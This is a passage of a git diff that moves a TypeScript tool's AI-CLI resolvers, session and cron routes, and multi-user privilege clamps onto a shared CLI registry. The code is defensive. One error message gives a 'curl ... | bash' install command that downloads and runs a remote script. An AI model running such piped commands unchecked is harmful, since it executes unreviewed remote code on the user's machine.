GEMINI_NOT_FOUND = 'Gemini CLI not found. Install with: npm install -g @google/gemini-cli'; /** diff --git a/src/utils/grok-cli-resolver.ts b/src/utils/grok-cli-resolver.ts index f0f9f26a6..c5e7d4d76 100644 --- a/src/utils/grok-cli-resolver.ts +++ b/src/utils/grok-cli-resolver.ts @@ -20,9 +20,9 @@ */ import { execFileSync } from 'node:child_process'; -import { join } from 'node:path'; -import { homedir } from 'node:os'; import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage, @@ -30,12 +30,12 @@ import { } from './cli-executable-resolver.js'; /** Common directories where the Grok CLI binary may be installed */ -const GROK_SEARCH_DIRS = [ - join(homedir(), '.grok', 'bin'), - join(homedir(), '.local', 'bin'), - '/usr/local/bin', - join(homedir(), 'bin'), -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const GROK_SEARCH_DIRS = (): string[] => (getCli('grok')?.discovery.searchDirs ?? []).map(expandHome); /** * A real `grok --version` prints `grok 1.0.5 (5115b46bc9)` (measured, 1.0.5). @@ -96,7 +96,7 @@ function createGrokResolver( return createCliExecutableResolver( { binary: 'grok', - searchDirs: GROK_SEARCH_DIRS, + searchDirs: GROK_SEARCH_DIRS(), validateCandidate: (binPath) => { const version = versionProbe(binPath); return version ? { accepted: true, metadata: version } : { accepted: false }; diff --git a/src/utils/opencode-cli-resolver.ts b/src/utils/opencode-cli-resolver.ts index 3225dd6da..94a3129f4 100644 --- a/src/utils/opencode-cli-resolver.ts +++ b/src/utils/opencode-cli-resolver.ts @@ -7,22 +7,19 @@ * @module utils/opencode-cli-resolver */ -import { join } from 'node:path'; -import { homedir } from 'node:os'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage } from './cli-executable-resolver.js'; /** Common directories where the OpenCode CLI binary may be installed */ -const OPENCODE_SEARCH_DIRS = [ - join(homedir(), '.opencode', 'bin'), // Default install location - join(homedir(), '.local', 'bin'), // Alternative install location - '/usr/local/bin', // Homebrew / system - join(homedir(), 'go', 'bin'), // Go install - join(homedir(), '.bun', 'bin'), // Bun global - join(homedir(), '.npm-global', 'bin'), // npm global - join(homedir(), 'bin'), // User bin -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const OPENCODE_SEARCH_DIRS = (): string[] => (getCli('opencode')?.discovery.searchDirs ?? []).map(expandHome); -const openCodeResolver = createCliExecutableResolver({ binary: 'opencode', searchDirs: OPENCODE_SEARCH_DIRS }); +const openCodeResolver = createCliExecutableResolver({ binary: 'opencode', searchDirs: OPENCODE_SEARCH_DIRS() }); const OPENCODE_NOT_FOUND = 'OpenCode CLI not found. Install with: curl -fsSL https://opencode.ai/install | bash'; /** diff --git a/src/utils/pi-cli-resolver.ts b/src/utils/pi-cli-resolver.ts index 4cfa40112..efd977096 100644 --- a/src/utils/pi-cli-resolver.ts +++ b/src/utils/pi-cli-resolver.ts @@ -16,9 +16,9 @@ */ import { execFileSync } from 'node:child_process'; -import { join } from 'node:path'; -import { homedir } from 'node:os'; import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage, @@ -26,13 +26,12 @@ import { } from './cli-executable-resolver.js'; /** Common directories where the Pi CLI binary may be installed */ -const PI_SEARCH_DIRS = [ - join(homedir(), '.local', 'bin'), - '/usr/local/bin', - join(homedir(), '.bun', 'bin'), - join(homedir(), '.npm-global', 'bin'), - join(homedir(), 'bin'), -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const PI_SEARCH_DIRS = (): string[] => (getCli('pi')?.discovery.searchDirs ?? []).map(expandHome); /** * A real `pi --version` prints a semver-shaped string (e.g. `0.84.1`). @@ -92,7 +91,7 @@ function createPiResolver(host?: CliResolverHost, versionProbe: PiVersionProbe = return createCliExecutableResolver( { binary: 'pi', - searchDirs: PI_SEARCH_DIRS, + searchDirs: PI_SEARCH_DIRS(), validateCandidate: (binPath) => { const version = versionProbe(binPath); return version ? { accepted: true, metadata: version } : { accepted: false }; diff --git a/src/web/routes/cron-routes.ts b/src/web/routes/cron-routes.ts index d98488f7f..8e2c19160 100644 --- a/src/web/routes/cron-routes.ts +++ b/src/web/routes/cron-routes.ts @@ -7,6 +7,7 @@ */ import { FastifyInstance } from 'fastify'; +import { getCli } from '../../config/cli-registry/registry.js'; import { ApiErrorCode, createErrorResponse } from '../../types.js'; import { CronJobSchema, CronJobUpdateSchema, CronJobEnabledSchema } from '../schemas.js'; import { canAccessOwned, getAuthUser, isWorkingDirAllowed, ownerFor, parseBody } from '../route-helpers.js'; @@ -45,7 +46,7 @@ export function registerCronRoutes(app: FastifyInstance, ctx: CronPort): void { // Resolve the owner's grant from the store (AuthUser.role alone can't tell a GRANTED // regular user from a plain one); mirrors session-routes + the cron fire-time re-check. if ( - (body.agentType === 'shell' || body.launchCommand) && + (getCli(body.agentType)?.capabilities.privilegedCommandGate || body.launchCommand) && !(await canUsernameRunPrivilegedCommands(ownerFor(req))) ) { return createErrorResponse( @@ -72,7 +73,7 @@ export function registerCronRoutes(app: FastifyInstance, ctx: CronPort): void { return createErrorResponse(ApiErrorCode.FORBIDDEN, 'workingDir is outside your workspace'); } if ( - (body.agentType === 'shell' || body.launchCommand) && + (getCli(body.agentType ?? 'claude')?.capabilities.privilegedCommandGate || body.launchCommand) && !(await canUsernameRunPrivilegedCommands(ownerFor(req))) ) { return createErrorResponse( diff --git a/src/web/routes/session-routes.ts b/src/web/routes/session-routes.ts index 3e7c258f4..ada315f0e 100644 --- a/src/web/routes/session-routes.ts +++ b/src/web/routes/session-routes.ts @@ -79,6 +79,9 @@ import { validatePathWithinBase, } from '../route-helpers.js'; import { canUsernameRunPrivilegedCommands, resolveClaudeModeForUsername } from '../../user-store.js'; +import { enabledClis, getCli } from '../../config/cli-registry/registry.js'; +import { resolveCliLaunchError } from '../../utils/cli-launcher.js'; +import { legacyConfigForMode } from '../../session-cli-registry-bridge.js'; import { isMultiUserMode } from '../../config/multiuser.js'; import { AUTH_COOKIE_NAME } from '../middleware/auth.js'; import { @@ -351,12 +354,46 @@ export function _resetPasteRateBuckets(): void { */ async function clampExternalCliBypassForOwner( owner: string | undefined, - codexConfig: CodexConfig | undefined, - geminiConfig: GeminiConfig | undefined, - antigravityConfig: AntigravityConfig | undefined, - piConfig: PiConfig | undefined, - grokConfig: GrokConfig | undefined, - deepSeekConfig: DeepSeekConfig | undefined + configs: Record +): Promise> { + if (await canUsernameRunPrivilegedCommands(owner)) return configs; + + const out = { ...configs }; + for (const entry of enabledClis()) { + const field = entry.launch.legacyConfigField; + if (!field) continue; + const existing = out[field] as Record | undefined; + let next = existing; + for (const { param, clampTo, materializeWhenAbsent } of entry.capabilities.privilegedParams) { + // MATERIALIZE vs ONLY-IF-SENT is the whole design of this clamp, and the two are not + // interchangeable — see CliCapabilities.privilegedParams. Materialize where the CLI's + // own absent-config default is ITSELF unsafe (gemini defaults to yolo; pi's default is + // an interactive trust prompt the session user could just answer "yes" to), so a + // caller who sends no config at all still gets clamped. + if (next === undefined && !materializeWhenAbsent) continue; + next = { ...(next ?? {}), [param]: clampTo }; + } + if (next !== existing) out[field] = next; + } + return out; +} + +/** + * Test hook, and the positional shape the clamp has always been called with in tests. + * + * The clamp itself is now generic over the registry, which is what makes a CUSTOM CLI's + * privileged flag clampable with no code here — previously the five config objects were + * named individually, so `privilegedParams` on anything outside that list was declared but + * unreachable. + */ +export async function _clampExternalCliBypassForOwner( + owner: string | undefined, + codexConfig?: CodexConfig, + geminiConfig?: GeminiConfig, + antigravityConfig?: AntigravityConfig, + piConfig?: PiConfig, + grokConfig?: GrokConfig, + deepSeekConfig?: DeepSeekConfig ): Promise<{ codexConfig: CodexConfig | undefined; geminiConfig: GeminiConfig | undefined; @@ -365,34 +402,24 @@ async function clampExternalCliBypassForOwner( grokConfig: GrokConfig | undefined; deepSeekConfig: DeepSeekConfig | undefined; }> { - const granted = await canUsernameRunPrivilegedCommands(owner); - if (granted) return { codexConfig, geminiConfig, antigravityConfig, piConfig, grokConfig, deepSeekConfig }; - // Non-granted: force codex/antigravity bypass off (only meaningful when a config was - // sent) and materialize gemini to auto_edit (clamps an explicit 'yolo' and the yolo default) - // and pi to --no-approve (clamps an explicit true AND pi's own "ask" default). - const clampedCodex = codexConfig ? { ...codexConfig, dangerouslyBypassApprovals: false } : codexConfig; - const clampedGemini: GeminiConfig = { ...(geminiConfig ?? {}), approvalMode: 'auto_edit' }; - const clampedAntigravity = antigravityConfig - ? { ...antigravityConfig, dangerouslySkipPermissions: false } - : antigravityConfig; - const clampedPi: PiConfig = { ...(piConfig ?? {}), approveProjectTrust: false }; - const clampedGrok = grokConfig ? { ...grokConfig, alwaysApprove: false } : grokConfig; - const clampedDeepSeek = deepSeekConfig - ? { ...deepSeekConfig, permissionMode: 'workspace-write' as const } - : deepSeekConfig; - return { - codexConfig: clampedCodex, - geminiConfig: clampedGemini, - antigravityConfig: clampedAntigravity, - piConfig: clampedPi, - grokConfig: clampedGrok, - deepSeekConfig: clampedDeepSeek, + const out = await clampExternalCliBypassForOwner(owner, { + codexConfig, + geminiConfig, + antigravityConfig, + piConfig, + grokConfig, + deepSeekConfig, + }); + return out as { + codexConfig: CodexConfig | undefined; + geminiConfig: GeminiConfig | undefined; + antigravityConfig: AntigravityConfig | undefined; + piConfig: PiConfig | undefined; + grokConfig: GrokConfig | undefined; + deepSeekConfig: DeepSeekConfig | undefined; }; } -/** Test hook: the clamp is the multi-user safety gate for the external CLIs' privileged flags. */ -export const _clampExternalCliBypassForOwner = clampExternalCliBypassForOwner; - /** * Env-var keys a non-granted owner must not be able to set, because each one * hands back privilege the config clamp above just removed — or, for the last, @@ -416,7 +443,9 @@ export const _clampExternalCliBypassForOwner = clampExternalCliBypassForOwner; * of their choosing. (`DEEPSEEK_API_KEY` itself stays overridable: supplying * your OWN key removes privilege rather than granting it.) */ -const OWNER_CLAMPED_ENV_KEYS = ['DSH_PERMISSION_MODE', 'DSH_HOME', 'DEEPSEEK_BASE_URL'] as const; +function ownerClampedEnvKeys(): string[] { + return enabledClis().flatMap((entry) => entry.capabilities.privilegedEnvKeys); +} /** * Env-var half of the multi-user bypass clamp. @@ -439,38 +468,17 @@ async function clampEnvOverridesForOwner( envOverrides: Record | undefined ): Promise | undefined> { if (!envOverrides) return envOverrides; - if (!OWNER_CLAMPED_ENV_KEYS.some((key) => key in envOverrides)) return envOverrides; + const keys = ownerClampedEnvKeys(); + if (!keys.some((key) => key in envOverrides)) return envOverrides; if (await canUsernameRunPrivilegedCommands(owner)) return envOverrides; const clamped = { ...envOverrides }; - for (const key of OWNER_CLAMPED_ENV_KEYS) delete clamped[key]; + for (const key of keys) delete clamped[key]; return clamped; } /** Test hook: the env-var half of the same multi-user safety gate. */ export const _clampEnvOverridesForOwner = clampEnvOverridesForOwner; -/** - * Why a DeepSeek session cannot start, or null when it can. - * - * Availability for this mode is TWO questions, not one, because `dsh` is a - * profile launcher rather than an agent: the binary must resolve (and prove it - * is the harness and not Debian's dancer's shell), AND a profile that can occupy - * a pane must exist. Reporting only the first would let the Run button spawn a - * pane that dies instantly, which is the single most confusing failure this mode - * can produce, so each half gets its own actionable message. - * - * A profile named EXPLICITLY is checked on both counts: existence, and whether - * it is pane-capable — `web` serves a browser UI and `headless` answers one task - * and exits, so both would present as "the tab immediately died". - */ -async function resolveDeepSeekLaunchError(requestedProfile?: string): Promise { - // Thin async wrapper: the implementation moved into the resolver module so - // CRON fires can ask the same question before constructing a Session; the - // dynamic import keeps this file's startup free of the probe machinery. - const { resolveDeepSeekLaunchError: impl } = await import('../../utils/deepseek-cli-resolver.js'); - return impl(requestedProfile); -} - // ═══════════════════════════════════════════════════════════════ // Agent wait helpers (shared by GET /wait, GET /wait-output, POST /input) // ═══════════════════════════════════════════════════════════════ @@ -825,7 +833,10 @@ export function registerSessionRoutes( // Multi-user: shell mode is arbitrary command execution as the host account, // gated behind the same grant as bypass (section 6.3). Resolve the owner's grant // from the store so a GRANTED regular user is not wrongly denied (AuthUser role alone can't tell). - if (body.mode === 'shell' && !(await canUsernameRunPrivilegedCommands(owner))) { + if ( + getCli(body.mode ?? 'claude')?.capabilities.privilegedCommandGate && + !(await canUsernameRunPrivilegedCommands(owner)) + ) { return createErrorResponse(ApiErrorCode.FORBIDDEN, 'Shell sessions require the can-bypass-permissions grant'); } @@ -917,52 +928,24 @@ export function registerSessionRoutes( } } - // Check OpenCode availability if requested. The error text comes from the - // resolver (formatCliNotFoundMessage) so it names where resolution looked — - // server PATH, login shell, common directories — same for the modes below. - if (body.mode === 'opencode') { - const { isOpenCodeAvailable, getOpenCodeNotFoundMessage } = await import('../../utils/opencode-cli-resolver.js'); - if (!isOpenCodeAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getOpenCodeNotFoundMessage()); - } - } - - // Check Codex availability if requested - if (body.mode === 'codex') { - const { isCodexAvailable, getCodexNotFoundMessage } = await import('../../utils/codex-cli-resolver.js'); - if (!isCodexAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getCodexNotFoundMessage()); - } - } - - // Check Gemini availability if requested - if (body.mode === 'gemini') { - const { isGeminiAvailable, getGeminiNotFoundMessage } = await import('../../utils/gemini-cli-resolver.js'); - if (!isGeminiAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getGeminiNotFoundMessage()); - } - } - if (body.mode === 'antigravity') { - const { isAntigravityAvailable, getAntigravityNotFoundMessage } = - await import('../../utils/antigravity-cli-resolver.js'); - if (!isAntigravityAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getAntigravityNotFoundMessage()); - } - } - if (body.mode === 'pi') { - const { isPiAvailable, getPiNotFoundMessage } = await import('../../utils/pi-cli-resolver.js'); - if (!isPiAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getPiNotFoundMessage()); - } - } - if (body.mode === 'deepseek') { - const err = await resolveDeepSeekLaunchError(body.deepSeekConfig?.profile); - if (err) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, err); - } - if (body.mode === 'grok') { - const { isGrokAvailable, getGrokNotFoundMessage } = await import('../../utils/grok-cli-resolver.js'); - if (!isGrokAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getGrokNotFoundMessage()); + // Refuse up front if the requested CLI cannot start, rather than spawning a pane that + // dies on `command not found`. The message comes from the resolver, so it names where + // resolution actually looked (server PATH, login shell, the entry's search dirs); a + // LAUNCHER CLI answers with its own more specific reason instead — for dsh, whether the + // binary is missing, no pane-capable profile exists, or the profile the caller NAMED + // cannot drive a pane, which are three different things to go and fix. + // + // Scoped to EXTERNAL CLIs, matching what this route has always pre-flighted: claude and + // shell deliberately fall through to tmux-manager's own not-found throw instead, and + // pulling them forward here would change which error a missing claude produces. + const requestedMode = body.mode ?? 'claude'; + if (getCli(requestedMode)?.capabilities.external) { + const cliLaunchError = await resolveCliLaunchError( + requestedMode, + legacyConfigForMode(requestedMode, body as unknown as Record) + ); + if (cliLaunchError) { + return createErrorResponse(ApiErrorCode.OPERATION_FAILED, cliLaunchError); } } @@ -999,25 +982,25 @@ export function registerSessionRoutes( const globalNice = await ctx.getGlobalNiceConfig(); const modelConfig = await ctx.getModelConfig(); const mode = body.mode || 'claude'; + // Where a model override comes from is a capability, and the three answers are + // genuinely different mechanisms: + // 'flag' — the CLI takes --model, so read the value the caller sent + // in that CLI's own config object. + // 'claude-settings-file' — claude alone, whose model is written to + // /.claude/settings.local.json rather than passed as + // a flag, so the app-wide default applies here. + // 'none' — shell has no model; deepseek's is a composition entry in + // the profile's config tree, not a session field + // (docs/deepseek-integration.md). Both get nothing. + const modelSource = getCli(mode)?.capabilities.model; const model = - mode === 'opencode' - ? body.openCodeConfig?.model - : mode === 'codex' - ? body.codexConfig?.model - : mode === 'gemini' - ? body.geminiConfig?.model - : mode === 'antigravity' - ? body.antigravityConfig?.model - : mode === 'pi' - ? body.piConfig?.model - : mode === 'grok' - ? body.grokConfig?.model - : // DeepSeek's model is a composition entry in the profile's config - // tree, not a session flag, so there is deliberately nothing to - // read here (see docs/deepseek-integration.md). - mode !== 'shell' && mode !== 'deepseek' - ? modelConfig?.defaultModel || undefined - : undefined; + modelSource?.source === 'flag' + ? (legacyConfigForMode(mode, body as unknown as Record)?.[modelSource.param ?? 'model'] as + | string + | undefined) + : modelSource?.source === 'claude-settings-file' + ? modelConfig?.defaultModel || undefined + : undefined; const claudeModeConfig = await ctx.getClaudeModeConfig(); // Section 6.3: force non-granted users to a classifier-guarded mode. const effectiveClaudeMode = await resolveClaudeModeForUsername(claudeModeConfig.claudeMode, owner); @@ -1029,7 +1012,7 @@ export function registerSessionRoutes( piConfig: gatedPiConfig, grokConfig: gatedGrokConfig, deepSeekConfig: gatedDeepSeekConfig, - } = await clampExternalCliBypassForOwner( + } = await _clampExternalCliBypassForOwner( owner, body.codexConfig, body.geminiConfig, @@ -1071,7 +1054,7 @@ export function registerSessionRoutes( await ctx.setupSessionListeners(session); // Pre-seed the agent skill's preamble cache so its §0 bootstrap is a two-line // loader (see seedAgentSessionPreamble). Local claude sessions only; best-effort. - if (mode === 'claude' && !remote && (await ctx.getAgentSkillEnabled())) { + if (getCli(mode)?.capabilities.agentSkillInjection && !remote && (await ctx.getAgentSkillEnabled())) { await seedAgentSessionPreamble(session.id).catch((err: unknown) => console.warn(`[agent-skill] preamble seed failed for ${session.id}: ${getErrorMessage(err)}`) ); @@ -2027,7 +2010,7 @@ export function registerSessionRoutes( // Codex sessions don't write to ~/.claude/projects — their transcripts // live in ~/.codex/sessions/**. Branch to a Codex-specific reader so the // response-viewer works for Codex panes too. - if (session.mode === 'codex') { + if (getCli(session.mode)?.capabilities.transcript === 'codex-rollout') { const codexQuery = req.query as { context?: string }; return await readCodexLastResponse(session, codexQuery.context === 'full'); } @@ -2047,7 +2030,7 @@ export function registerSessionRoutes( // and return "nothing said yet" forever — an agent polling that worker // would starve on an answer that exists. Those configurations keep the // pane segmenter below: coarse, but the real conversation. - if (session.mode === 'deepseek' && !session.docker && !session.remote) { + if (getCli(session.mode)?.capabilities.transcript === 'deepseek-zstd' && !session.docker && !session.remote) { const deepSeekQuery = req.query as { context?: string }; const full = deepSeekQuery.context === 'full'; const transcript = await readDeepSeekLastResponse(session, { blocks: full }); @@ -2190,7 +2173,7 @@ export function registerSessionRoutes( const WINDOW_MS = 15_000; const otherSubmits: number[] = []; for (const s of ctx.sessions.values()) { - if (s.id !== session.id && s.mode === 'codex' && s.lastSubmitAt) { + if (s.id !== session.id && getCli(s.mode)?.capabilities.transcript === 'codex-rollout' && s.lastSubmitAt) { otherSubmits.push(s.lastSubmitAt); } } @@ -2535,7 +2518,8 @@ export function registerSessionRoutes( // During long thinking phases, Ink rewrites the same rows thousands of times // (500KB+). Without stripping, tail mode returns only spinner frames and // the terminal appears empty when switching tabs. - let strippedBuffer = session.mode === 'shell' ? rawBuffer : stripInkRedrawBloat(rawBuffer); + let strippedBuffer = + getCli(session.mode)?.capabilities.stripInkBloat === false ? rawBuffer : stripInkRedrawBloat(rawBuffer); // Strip alt-screen toggles and scrollback-erase from Codex/Claude byte // streams. xterm.js obeys them by switching to its scrollback-less alt @@ -2864,7 +2848,7 @@ export function registerSessionRoutes( // Multi-user: shell mode is arbitrary host-account execution, gated by the grant. // Resolve the owner's grant from the store so a GRANTED regular user is not wrongly denied. - if (mode === 'shell' && !(await canUsernameRunPrivilegedCommands(owner))) { + if (getCli(mode)?.capabilities.privilegedCommandGate && !(await canUsernameRunPrivilegedCommands(owner))) { return createErrorResponse(ApiErrorCode.FORBIDDEN, 'Shell sessions require the can-bypass-permissions grant'); } @@ -3000,63 +2984,29 @@ export function registerSessionRoutes( dockerResumeId = dockerCase.lastClaudeSessionId; } } else { - // Check OpenCode availability if requested. Error text comes from the - // resolver so it carries the resolution diagnostics; same for the modes below. - if (mode === 'opencode') { - const { isOpenCodeAvailable, getOpenCodeNotFoundMessage } = - await import('../../utils/opencode-cli-resolver.js'); - if (!isOpenCodeAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getOpenCodeNotFoundMessage()); - } - } - - // Check Codex availability if requested - if (mode === 'codex') { - const { isCodexAvailable, getCodexNotFoundMessage } = await import('../../utils/codex-cli-resolver.js'); - if (!isCodexAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getCodexNotFoundMessage()); - } - } - - // Check Gemini availability if requested - if (mode === 'gemini') { - const { isGeminiAvailable, getGeminiNotFoundMessage } = await import('../../utils/gemini-cli-resolver.js'); - if (!isGeminiAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getGeminiNotFoundMessage()); - } - } - - // Check Antigravity availability if requested - if (mode === 'antigravity') { - const { isAntigravityAvailable, getAntigravityNotFoundMessage } = - await import('../../utils/antigravity-cli-resolver.js'); - if (!isAntigravityAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getAntigravityNotFoundMessage()); - } - } - - // Check Pi availability if requested - if (mode === 'pi') { - const { isPiAvailable, getPiNotFoundMessage } = await import('../../utils/pi-cli-resolver.js'); - if (!isPiAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getPiNotFoundMessage()); - } - } - - // Check Grok availability if requested - if (mode === 'grok') { - const { isGrokAvailable, getGrokNotFoundMessage } = await import('../../utils/grok-cli-resolver.js'); - if (!isGrokAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getGrokNotFoundMessage()); + // Same pre-flight as POST /api/sessions: refuse before spawning a pane that would die + // on `command not found`, with the resolver's own diagnostics, and a launcher CLI's + // more specific reason (dsh: binary vs no pane-capable profile vs the profile the + // caller named). External CLIs only — claude and shell fall through to tmux-manager's + // own not-found throw, exactly as before. + if (getCli(mode)?.capabilities.external) { + const qsLaunchError = await resolveCliLaunchError( + mode, + legacyConfigForMode(mode, { + openCodeConfig, + codexConfig, + geminiConfig, + antigravityConfig, + piConfig, + grokConfig, + deepSeekConfig, + } as unknown as Record) + ); + if (qsLaunchError) { + return createErrorResponse(ApiErrorCode.OPERATION_FAILED, qsLaunchError); } } - // Check DeepSeek Harness availability if requested (binary AND a pane-capable profile). - if (mode === 'deepseek') { - const err = await resolveDeepSeekLaunchError(deepSeekConfig?.profile); - if (err) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, err); - } - // Resolve case path: check linked-cases registry first, then fall back to CASES_DIR. // This mirrors the behaviour of resolveCasePath() in case-routes so that linked // external project directories are honoured by quick-start just like regular case routes. @@ -3126,7 +3076,7 @@ export function registerSessionRoutes( // reads `.claude` hooks, so a shell/codex quick-start should not author a block // of its own. Skipped for remote cases — resolvedCasePath is a REMOTE path that // doesn't exist on the local filesystem. - if (mode === 'claude') { + if (getCli(mode)?.capabilities.hooks === 'always') { await applyWorkspaceHooks(resolvedCasePath, await ctx.getWorkspaceHooksEnabled()); } else { await refreshStaleCodemanHooks(resolvedCasePath).catch(() => {}); @@ -3138,7 +3088,7 @@ export function registerSessionRoutes( // (`.claude/skills/` is a Claude Code surface); skipped for remote cases, whose // casePath lives on another host. Docker cases qualify: hostWorkspacePath is a // real host dir and the skill crosses the bind mount like the rest of `.claude/`. - if (!remote && mode === 'claude' && (await ctx.getAgentSkillEnabled())) { + if (!remote && getCli(mode)?.capabilities.agentSkillInjection && (await ctx.getAgentSkillEnabled())) { await injectAgentSkill(resolvedCasePath); } @@ -3149,7 +3099,7 @@ export function registerSessionRoutes( // shell or external-CLI quick-start must not author a block of its own (the same // rule the existing-case branch above states; this branch used to exclude just // the five external CLIs and let `shell` through). - if (docker && docker.hooksEnabled && mode === 'claude') { + if (docker && docker.hooksEnabled && getCli(mode)?.capabilities.hooks === 'always') { try { if (!existsSync(join(resolvedCasePath, 'CLAUDE.md'))) { const templatePath = await ctx.getDefaultClaudeMdPath(); @@ -3171,7 +3121,7 @@ export function registerSessionRoutes( // Model override → /.claude/settings.local.json (claude-mode; local AND // docker — the docker workspace is a real host dir, so the settings file crosses // the bind mount and the in-container claude reads it). Remote was rejected above. - if (mode === 'claude' && modelOverride !== undefined) { + if (getCli(mode)?.capabilities.model.source === 'claude-settings-file' && modelOverride !== undefined) { await updateCaseModel(resolvedCasePath, modelOverride || null); } @@ -3196,23 +3146,22 @@ export function registerSessionRoutes( // Apply global Nice priority config and model config from settings const niceConfig = await ctx.getGlobalNiceConfig(); const qsModelConfig = await ctx.getModelConfig(); + // See the create path for why this is a capability rather than a mode ladder. + const qsModelSource = getCli(mode)?.capabilities.model; const qsModel = - mode === 'opencode' - ? openCodeConfig?.model - : mode === 'codex' - ? codexConfig?.model - : mode === 'gemini' - ? geminiConfig?.model - : mode === 'antigravity' - ? antigravityConfig?.model - : mode === 'pi' - ? piConfig?.model - : mode === 'grok' - ? grokConfig?.model - : // DeepSeek's model lives in the profile's config tree, not here. - mode !== 'shell' && mode !== 'deepseek' - ? qsModelConfig?.defaultModel || undefined - : undefined; + qsModelSource?.source === 'flag' + ? (legacyConfigForMode(mode, { + openCodeConfig, + codexConfig, + geminiConfig, + antigravityConfig, + piConfig, + grokConfig, + deepSeekConfig, + } as unknown as Record)?.[qsModelSource.param ?? 'model'] as string | undefined) + : qsModelSource?.source === 'claude-settings-file' + ? qsModelConfig?.defaultModel || undefined + : undefined; const qsClaudeModeConfig = await ctx.getClaudeModeConfig(); const qsEffectiveClaudeMode = await resolveClaudeModeForUsername(qsClaudeModeConfig.claudeMode, owner); // Section 6.3: clamp Codex/Gemini/Antigravity bypass switches for a non-granted owner (no-op single-user/granted). @@ -3223,7 +3172,7 @@ export function registerSessionRoutes( piConfig: qsGatedPiConfig, grokConfig: qsGatedGrokConfig, deepSeekConfig: qsGatedDeepSeekConfig, - } = await clampExternalCliBypassForOwner( + } = await _clampExternalCliBypassForOwner( owner, codexConfig, geminiConfig, @@ -3263,7 +3212,7 @@ export function registerSessionRoutes( // Auto-detect completion phrase from CLAUDE.md BEFORE broadcasting // so the initial state already has the phrase configured (only if globally enabled) - if (mode === 'claude' && !remote && !docker && ctx.store.getConfig().ralphEnabled) { + if (getCli(mode)?.capabilities.ralph && !remote && !docker && ctx.store.getConfig().ralphEnabled) { autoConfigureRalph(session, resolvedCasePath, ctx); if (!session.ralphTracker.enabled) { session.ralphTracker.enable(); @@ -3277,7 +3226,7 @@ export function registerSessionRoutes( await ctx.setupSessionListeners(session); // Pre-seed the agent skill's preamble cache so its §0 bootstrap is a two-line // loader (see seedAgentSessionPreamble). Local claude sessions only; best-effort. - if (mode === 'claude' && !remote && !docker && (await ctx.getAgentSkillEnabled())) { + if (getCli(mode)?.capabilities.agentSkillInjection && !remote && !docker && (await ctx.getAgentSkillEnabled())) { await seedAgentSessionPreamble(session.id).catch((err: unknown) => console.warn(`[agent-skill] preamble seed failed for ${session.id}: ${getErrorMessage(err)}`) ); @@ -3292,7 +3241,7 @@ export function registerSessionRoutes( // Start in the appropriate mode try { - if (mode === 'shell') { + if (getCli(mode)?.capabilities.startMode === 'shell') { await session.startShell(); getLifecycleLog().log({ event: 'started', diff --git a/src/web/routes/system-routes.ts b/src/web/routes/system-routes.ts index 4929e977e..4ddf3bacc 100644 --- a/src/web/routes/system-routes.ts +++ b/src/web/routes/system-routes.ts @@ -5,6 +5,7 @@ */ import { FastifyInstance } from 'fastify'; +import { getCli } from '../../config/cli-registry/registry.js'; import { join, dirname } from 'node:path'; import { fileURLToPath } from 'node:url'; import { existsSync, mkdirSync, readdirSync } from 'node:fs'; @@ -1024,7 +1025,8 @@ export function registerSystemRoutes( if (statusLineTelemetry === true) { const dirs = new Set(); for (const session of ctx.sessions.values()) { - if (session.mode === 'claude' && session.workingDir) dirs.add(session.workingDir); + if (getCli(session.mode)?.capabilities.statusLineTelemetry && session.workingDir) + dirs.add(session.workingDir); } await Promise.all([...dirs].map((dir) => applyStatusLineConfig(dir, true).catch(() => {}))); } diff --git a/src/web/schemas.ts b/src/web/schemas.ts index e49889fba..5c2abd8bf 100644 --- a/src/web/schemas.ts +++ b/src/web/schemas.ts @@ -18,6 +18,8 @@ import { } from '../config/terminal-history.js'; import { MAX_EDITABLE_BYTES } from '../config/file-editing.js'; import { MIN_MATCH_LENGTH, MAX_MATCH_LENGTH } from '../config/agent-wait.js'; +import { enabledCliIds, enabledClis } from '../config/cli-registry/registry.js'; +import type { SessionMode } from '../types.js'; // ========== Path Validation ========== @@ -119,37 +121,74 @@ export const FileWriteSchema = z }) .strict(); +/** + * The run-mode ids the API currently accepts: every ENABLED registry entry. + * + * Exported so anything needing the authoritative list derives it from here rather than + * restating the nine names (which is how the old literal enum drifted from the run menu). + */ +export function sessionModeIds(): string[] { + return enabledCliIds(); +} + +/** + * Validation for a run mode, resolved AT PARSE TIME. + * + * ⚠️ Deliberately not a `z.enum([...])`. An enum has to be handed its members when the + * SCHEMA OBJECT is built, which happens once at module import — so a CLI enabled while the + * server was running kept failing validation with INVALID_INPUT until a restart, even + * though the run menu already offered it. Checking membership inside the refinement moves + * the question to when the request is actually validated. + * + * The cast is because callers type this 